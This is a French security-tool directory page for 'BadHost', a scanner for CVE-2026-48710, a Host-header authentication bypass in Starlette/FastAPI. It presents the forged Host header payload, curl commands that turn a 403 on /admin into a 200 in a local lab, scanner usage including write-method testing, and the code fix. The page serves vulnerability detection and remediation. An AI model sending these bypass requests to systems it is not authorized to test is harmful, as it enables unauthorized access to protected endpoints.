Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
BadHost-CVE-2026-48710-Exploit — Scanner de détection pour CVE-2026-48710 - contournement d'authentification par en-tête Host dans Starlette/FastAPI | Kitploit
Outils/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
Authentification et AutorisationScanners de VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionLabs et Pratique
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
bhanunamikaze/badhost-cve-2026-48710-exploit

BadHost-CVE-2026-48710-Exploit

Scanner de détection pour CVE-2026-48710 - contournement d'authentification par en-tête Host dans Starlette/FastAPI

Voir le dépôt
15il y a 3 moisPas encore vérifié
Partager

BadHost — Scanneur CVE-2026-48710

Scanneur de détection uniquement pour le contournement d'authentification BadHost dans Starlette / FastAPI — où le middleware d'authentification lit request.url.path au lieu de request.scope["path"], permettant à un en-tête Host falsifié de faire passer un chemin autorisé et de contourner l'authentification.

root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed

Affecté : Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Corrigé dans : Starlette 0.46.2+


Fonctionnalités

  • Passer une URL complète (https://host/path) — le chemin est extrait automatiquement comme sonde
  • Charge les points de terminaison à partir d'une spécification FastAPI/OpenAPI JSON ou YAML (fichier ou URL)
  • Découvre automatiquement les chemins non authentifiés à utiliser comme candidats d'injection
  • Teste à la fois les porteurs Host et X-Forwarded-Host, deux stratégies de charge utile
  • Préréglages intégrés pour les points de terminaison AI/LLM (--preset ai) et MCP (--preset mcp)
  • Sortie : résumé texte, --json, --csv
  • Progression du scan en direct sur stderr ; zéro dépendance externe

Laboratoire vulnérable local (badhost_vuln_lab/)

Livré avec deux applications FastAPI pour validation locale :

AppURLLecture auth
Vulnérablehttp://127.0.0.1:8000request.url.path — contourné
Corrigéhttp://127.0.0.1:8001request.scope["path"] — sûr
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build

Ou sans Docker :

root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

Test de contournement manuel

root@kitploit:~
curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — fixed

Installation

root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no pip install needed

Utilisation

root@kitploit:~
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid envoie {} pour les méthodes d'écriture — déclenche FastAPI 422 après contournement de l'authentification sans exécuter le point de terminaison. Un résultat baseline=403 test=422 est toujours une constatation SUSPECT qui mérite d'être examinée.
N'utilisez pas --openapi-body-mode minimal en production — il construit des corps de requête valides qui peuvent exécuter des points de terminaison d'écriture.


Verdicts

Seuls CONFIRMED et SUSPECT apparaissent dans la sortie. Code de sortie 2 = CONFIRMED, 1 = SUSPECT, 0 = propre.


Correction

root@kitploit:~
# Vulnerable
if request.url.path.startswith("/public"):
    ...

# Fixed
if request.scope["path"].startswith("/public"):
    ...

Mettez à jour vers Starlette 0.46.2+ / FastAPI 0.116.0+.


Pour tests autorisés uniquement. Scannez uniquement les systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.

Télécharger l’outil
VerdictSignification
CONFIRMEDRéférence 401/403 → test 2xx. Vulnérable.
SUSPECTRéférence 401/403 → test 404/405/422. La porte d'authentification semble contournée ; vérifier manuellement. 422 de FastAPI est particulièrement significatif.
REJECTEDProxy a rejeté l'hôte malformé (400/421) avant contournement
BLOCKEDRequête fabriquée toujours refusée
OPENDéjà accessible sans authentification — pas cette CVE